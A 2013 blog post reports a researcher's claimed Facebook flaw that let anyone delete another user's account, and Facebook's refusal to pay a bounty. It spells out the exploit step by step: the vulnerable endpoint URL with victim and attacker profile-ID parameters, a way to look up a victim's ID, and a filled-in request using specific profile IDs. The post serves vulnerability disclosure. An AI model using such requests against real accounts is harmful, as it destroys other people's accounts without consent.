Thursday, 5 September 2013

Security researcher finds Vulnerability in Facebook which could delete any Facebook account but Facebook refuses to pay bounty

Security researcher finds Vulnerability in Facebook which could delete any Facebook account but Facebook refuses to pay bounty



A security researcher from INDIA named Ehraz Ahmed claims that he found a vulnerability by which anyone could use that to delete any Facebook account, he sent an email to us about his latest BUG.
Here is the complete process, he used to delete a facebook account:
Vulnerable Link:

https://www.facebook.com/ajax/whitehat/delete_test_users.php?
fb_dtsg=AQA1E-WE&selected_users[0]=[Victems Profile ID]&__user=[Attackers Profile ID]&__a=1

We can get the profile id by using
http://graph.facebook.com/[username]

Here [username] indicates the username of your facebook profile!

In this Demo we will be using a test profile
Name: Rahul Agnikotri
https://www.facebook.com/hexgroup ( Victems profile) ( this is my test profile)

We can remove any account in Facebook even it is of Mark Zuckerberg or any celebrity

  • Attackers profile id = 1781913563

  • Victems profile id = 100001831297334

https://www.facebook.com/ajax/whitehat/delete_test_users.php?
fb_dtsg=AQA1E-WE&selected_users[0]=100001831297334&__user=1781913563&__a=1
He also uploaded a Video Demonstration of this Vulnerability:

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